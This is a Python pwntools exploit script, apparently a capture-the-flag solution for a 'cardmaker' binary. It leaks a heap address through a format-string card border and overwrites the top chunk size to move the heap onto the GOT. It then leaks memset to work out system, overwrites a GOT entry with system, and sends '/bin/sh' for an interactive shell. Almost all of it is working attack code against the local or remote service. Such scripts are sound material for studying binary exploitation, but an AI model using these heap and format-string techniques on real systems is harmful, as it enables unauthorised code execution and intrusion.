#!/usr/bin/env python

import sys

from pwn import *

port = 8080

strtol_addr = 0x6030B0


def add_card(frum, to, ip, port, border, length, data):
    r.sendline("1")
    r.recvuntil("Who is this card from?\n")
    r.sendline(frum)
    r.recvuntil("Who is this card going to?\n")
    r.sendline(to)
    r.recvuntil("What address and port should I send this to? (ip:port)\n")
    r.sendline("{}:{}".format(ip, port))
    r.recvuntil("What border would you like around the card? (max of 2 chars)\n")
    r.sendline(border)
    r.recvuntil("How long is your message...?")
    r.sendline(length)
    r.recvuntil("What would you like your card to say? (end with 'done.' on its own line)\n")
    r.sendline(data)
    r.sendline("done.")
    r.recv()


def delete_card(index):
    r.sendline("4")
    r.recvuntil("Which card do you want to delete: ")
    r.sendline(str(index))


def send_recv_card():
    lr = listen(port=port, bindaddr=host)
    r.sendline("5")
    recvd = lr.readuntil("Cardmaker")
    lr.close()
    return recvd


def list_card_contents(num):
    r.sendline("2")
    r.recvuntil("Which card do you want to print the fields of: ")
    r.sendline(str(num))
    r.recvuntil("Contents: ")
    return r.recv()


def exploit():
    # Leak out addresses
    # -- rsi, rdx, rdx, r8, r9, [rsp ...]
    add_card("me", "you", host, port, "%X", "6", "hello")
    recvd = send_recv_card()
    # Parse out heap address from r9
    # -- Luckily rsi, rdx, rdx, r8 are always 1, 1, 3, 1 bytes longs
    heap = int(recvd[recvd.index('\n')+7:recvd.index('400')], 16) & 0xFFFFF000
    log.info("Got heap address 0x{:X}".format(heap))

    # Overwrite the wilderness with -1
    add_card("me", "you", host, port, "xx", " -10", p64(0)*3 + p64(2**64-1) + p64(0)*2)

    # Move the wilderness on top of the GOT
    # -- size = target - wilderness address - 16
    target = strtol_addr
    wild = heap + 0x98
    size = target - wild - 16 - 0x28 - 0x30

    add_card("me", "you", host, port, "xx", " {}".format(size), "")

    # Leak out the original value of this GOT entry
    # This'll overwrite the GOT entry and corrupt it! So we make sure it's one we don't need anymore
    # -- First a dummy alloc that takes one out of a bin
    add_card("me", "you", host, port, "xx", "0", "")
    # Now this one will point to memset
    add_card("me", "you", host, port, "xx", "0", "")
    contents = list_card_contents(5)
    memset_addr = u64(contents[:6] + "\x00\x00")

    log.info("Found memset at 0x{:x}".format(memset_addr))
    system_addr = memset_addr - 0x45f20
    log.info("System should be at 0x{:x}".format(system_addr))

    # Now next alloc will land on close
    delete_card(3)
    add_card("me", "you", host, port, "xx", "50", p64(system_addr))

    r.sendline("/bin/sh")
    r.interactive()


if __name__ == "__main__":
    log.info("For remote: %s HOST PORT" % sys.argv[0])
    if len(sys.argv) > 1:
        r = remote(sys.argv[1], int(sys.argv[2]))
        host = "aws ip"
        exploit()
    else:
        r = process(['./cardmaker'], env={"LD_PRELOAD":"libc-2.23.so"})
        print util.proc.pidof(r)
        host = "0"
        pause()
        exploit()